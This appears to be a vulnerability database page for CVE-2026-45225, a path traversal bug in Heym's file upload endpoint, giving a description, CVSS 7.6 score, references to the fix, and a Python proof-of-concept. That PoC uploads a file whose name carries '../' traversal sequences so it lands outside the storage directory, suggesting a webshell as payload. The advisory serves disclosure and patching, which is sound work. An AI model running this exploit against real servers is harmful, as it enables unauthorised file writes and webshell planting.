CVE-2026-45225

Description

Heym before 0.0.21 contains a path traversal vulnerability in the file upload endpoint that allows authenticated users to write attacker-controlled files to arbitrary locations by supplying a crafted filename with traversal sequences. Attackers can exploit the unvalidated filename parameter in the upload_file() handler to bypass path restrictions and write, read, or delete files outside the intended storage directory.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Heym < 0.0.21

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target_url = "http://target-ip:port/api/upload"

# Attacker controlled file content
file_content = b"Malicious content or webshell"

# Crafted filename with path traversal sequences to write outside the intended directory
files = {
    'file': ('../../../../../tmp/malicious_file.txt', file_content, 'text/plain')
}

# Headers simulating an authenticated low-privilege user
headers = {
    'Authorization': 'Bearer <low_privilege_token>',
    'User-Agent': 'PoC-Client/1.0'
}

try:
    response = requests.post(target_url, files=files, headers=headers)
    if response.status_code == 200:
        print("[+] Exploit successful! File written via path traversal.")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45225
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45225
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45225/
[4] VulDB https://vuldb.com/cve/CVE-2026-45225
[5] https://github.com/heymrun/heym/commit/835843e6d2bf7d018cbb8e50f28f0426eaa20c84
[6] https://github.com/heymrun/heym/pull/92
[7] https://github.com/heymrun/heym/releases/tag/v0.0.21
[8] https://www.vulncheck.com/advisories/heym-path-traversal-file-upload-via-upload-file

Raw JSON Data

JSON

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